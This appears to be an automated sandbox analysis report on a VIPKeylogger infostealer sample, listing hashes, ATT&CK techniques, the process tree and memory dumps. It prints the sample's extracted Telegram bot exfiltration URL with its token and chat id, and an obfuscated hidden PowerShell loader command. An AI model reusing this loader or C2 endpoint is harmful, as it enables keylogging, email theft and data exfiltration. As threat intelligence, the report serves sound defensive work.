vipkeylogger | 96b8248be606c47b8955a560f3df160a4c9026ce1956e407daf177f17549e4f7

Analysis

max time kernel
147s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-12-2024 12:21

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General

Target

3.exe
Size

1.1MB
MD5

4252cd5753def4a484fb3313e1029e66
SHA1

19fd0734102e1eebe6c7f42d530d30e920366e00
SHA256

96b8248be606c47b8955a560f3df160a4c9026ce1956e407daf177f17549e4f7
SHA512

471851f39c4d058798bce13f80c63f38e3f3196132c5fe3068982362d7c9c876670cef2f768a8de7ed300669a85c58b367c1b51221617a1d8ae67cda77b82984
SSDEEP

24576:3NrNYoKOHCWJSICvcVU2F3VwV5k7j5awX300zQUGtZQ:d+jEWhvsU2F3VwXgj5aEkHUGtZQ

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendMessage?chat_id=5234817354

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
912	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1104	3.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
19	2236	msiexec.exe
22	2236	msiexec.exe
24	2236	msiexec.exe
26	2236	msiexec.exe
30	2236	msiexec.exe
37	2236	msiexec.exe
40	2236	msiexec.exe
55	2236	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	drive.google.com
18	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	checkip.dyndns.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\stilhederne\tamtammens.ini	3.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2236	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
912	powershell.exe
2236	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\inddatafunktionens.Tra	3.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
912	powershell.exe
912	powershell.exe
912	powershell.exe
912	powershell.exe
912	powershell.exe
912	powershell.exe
912	powershell.exe
2236	msiexec.exe
2236	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
912	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	912	powershell.exe
Token: SeIncreaseQuotaPrivilege	912	powershell.exe
Token: SeSecurityPrivilege	912	powershell.exe
Token: SeTakeOwnershipPrivilege	912	powershell.exe
Token: SeLoadDriverPrivilege	912	powershell.exe
Token: SeSystemProfilePrivilege	912	powershell.exe
Token: SeSystemtimePrivilege	912	powershell.exe
Token: SeProfSingleProcessPrivilege	912	powershell.exe
Token: SeIncBasePriorityPrivilege	912	powershell.exe
Token: SeCreatePagefilePrivilege	912	powershell.exe
Token: SeBackupPrivilege	912	powershell.exe
Token: SeRestorePrivilege	912	powershell.exe
Token: SeShutdownPrivilege	912	powershell.exe
Token: SeDebugPrivilege	912	powershell.exe
Token: SeSystemEnvironmentPrivilege	912	powershell.exe
Token: SeRemoteShutdownPrivilege	912	powershell.exe
Token: SeUndockPrivilege	912	powershell.exe
Token: SeManageVolumePrivilege	912	powershell.exe
Token: 33	912	powershell.exe
Token: 34	912	powershell.exe
Token: 35	912	powershell.exe
Token: 36	912	powershell.exe
Token: SeDebugPrivilege	2236	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1104 wrote to memory of 912	1104	3.exe	82
PID 1104 wrote to memory of 912	1104	3.exe	82
PID 1104 wrote to memory of 912	1104	3.exe	82
PID 912 wrote to memory of 2236	912	powershell.exe	88
PID 912 wrote to memory of 2236	912	powershell.exe	88
PID 912 wrote to memory of 2236	912	powershell.exe	88
PID 912 wrote to memory of 2236	912	powershell.exe	88

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\3.exe
"C:\Users\Admin\AppData\Local\Temp\3.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:912
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fzixidqx.jqn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162

Filesize
66KB

MD5
f508128e1733bb6460b9b1532382ecf6

SHA1
b20f4e4af3fe86a6dd5b7b10fcf983fac5bf74c4

SHA256
85b8bc66a411630746860c471286ab9bbc69ba93212e12da8e75040dfb3a1a75

SHA512
acc7183911452359ec33582cdf6f5ff0953bc4f09f1f5475454d17277466abc1f9b0218e8177735f9653665fbf55555bd557b86398c3d5a4a0d697b122e81731

Download Submit
C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Umatilla125.Sea140

Filesize
305KB

MD5
3c8436f0e7b9d6c8d25947e4374d179e

SHA1
1be9130c45876d27f39c2097771090e573697b72

SHA256
8512544eb0068094f92cd705fd941a0f07f5697d690aa62ea351b1363f348c75

SHA512
aa229b1e5c66a78d67a06b601e5aad9b000b4e15bd0a5f15ff001201f228fc9950418cf9b2f205fca07be73e70a06383766da3804341c42c5597bcbedcc651fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsx7224.tmp\nsExec.dll

Filesize
7KB

MD5
675c4948e1efc929edcabfe67148eddd

SHA1
f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

SHA256
1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

SHA512
61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

Download Submit
memory/912-12-0x0000000073F9E000-0x0000000073F9F000-memory.dmp

Filesize
4KB

Download
memory/912-13-0x0000000004ED0000-0x0000000004F06000-memory.dmp

Filesize
216KB

Download
memory/912-15-0x0000000005620000-0x0000000005C48000-memory.dmp

Filesize
6.2MB

Download
memory/912-14-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/912-16-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/912-17-0x00000000054B0000-0x00000000054D2000-memory.dmp

Filesize
136KB

Download
memory/912-18-0x0000000005DC0000-0x0000000005E26000-memory.dmp

Filesize
408KB

Download
memory/912-19-0x0000000005E30000-0x0000000005E96000-memory.dmp

Filesize
408KB

Download
memory/912-25-0x0000000005EA0000-0x00000000061F4000-memory.dmp

Filesize
3.3MB

Download
memory/912-30-0x00000000064A0000-0x00000000064BE000-memory.dmp

Filesize
120KB

Download
memory/912-31-0x00000000064C0000-0x000000000650C000-memory.dmp

Filesize
304KB

Download
memory/912-32-0x0000000007530000-0x00000000075C6000-memory.dmp

Filesize
600KB

Download
memory/912-33-0x0000000006970000-0x000000000698A000-memory.dmp

Filesize
104KB

Download
memory/912-34-0x0000000006A10000-0x0000000006A32000-memory.dmp

Filesize
136KB

Download
memory/912-35-0x0000000007B80000-0x0000000008124000-memory.dmp

Filesize
5.6MB

Download
memory/912-37-0x00000000087B0000-0x0000000008E2A000-memory.dmp

Filesize
6.5MB

Download
memory/912-41-0x0000000070420000-0x000000007046C000-memory.dmp

Filesize
304KB

Download
memory/912-40-0x0000000007890000-0x00000000078C2000-memory.dmp

Filesize
200KB

Download
memory/912-51-0x0000000007870000-0x000000000788E000-memory.dmp

Filesize
120KB

Download
memory/912-53-0x00000000078E0000-0x0000000007983000-memory.dmp

Filesize
652KB

Download
memory/912-52-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/912-54-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/912-55-0x0000000007A00000-0x0000000007A0A000-memory.dmp

Filesize
40KB

Download
memory/912-56-0x0000000007B60000-0x0000000007B71000-memory.dmp

Filesize
68KB

Download
memory/912-57-0x0000000008160000-0x000000000816E000-memory.dmp

Filesize
56KB

Download
memory/912-58-0x0000000008170000-0x0000000008184000-memory.dmp

Filesize
80KB

Download
memory/912-59-0x00000000081B0000-0x00000000081CA000-memory.dmp

Filesize
104KB

Download
memory/912-60-0x00000000081A0000-0x00000000081A8000-memory.dmp

Filesize
32KB

Download
memory/912-61-0x0000000008200000-0x000000000822A000-memory.dmp

Filesize
168KB

Download
memory/912-62-0x0000000008230000-0x0000000008254000-memory.dmp

Filesize
144KB

Download
memory/912-63-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/912-64-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/912-66-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/912-68-0x0000000073F9E000-0x0000000073F9F000-memory.dmp

Filesize
4KB

Download
memory/912-69-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/912-67-0x0000000008E30000-0x000000000A6D4000-memory.dmp

Filesize
24.6MB

Download
memory/912-70-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/912-71-0x0000000073F90000-0x0000000074740000-memory.dmp

Filesize
7.7MB

Download
memory/2236-84-0x0000000000CB0000-0x0000000001F04000-memory.dmp

Filesize
18.3MB

Download
memory/2236-85-0x0000000000CB0000-0x0000000000CFA000-memory.dmp

Filesize
296KB

Download
memory/2236-86-0x0000000021840000-0x00000000218DC000-memory.dmp

Filesize
624KB

Download
memory/2236-89-0x0000000022480000-0x0000000022642000-memory.dmp

Filesize
1.8MB

Download
memory/2236-90-0x0000000021CA0000-0x0000000021CF0000-memory.dmp

Filesize
320KB

Download
memory/2236-91-0x0000000022B80000-0x00000000230AC000-memory.dmp

Filesize
5.2MB

Download
memory/2236-94-0x0000000021DF0000-0x0000000021E82000-memory.dmp

Filesize
584KB

Download
memory/2236-95-0x000000001F330000-0x000000001F33A000-memory.dmp

Filesize
40KB

Download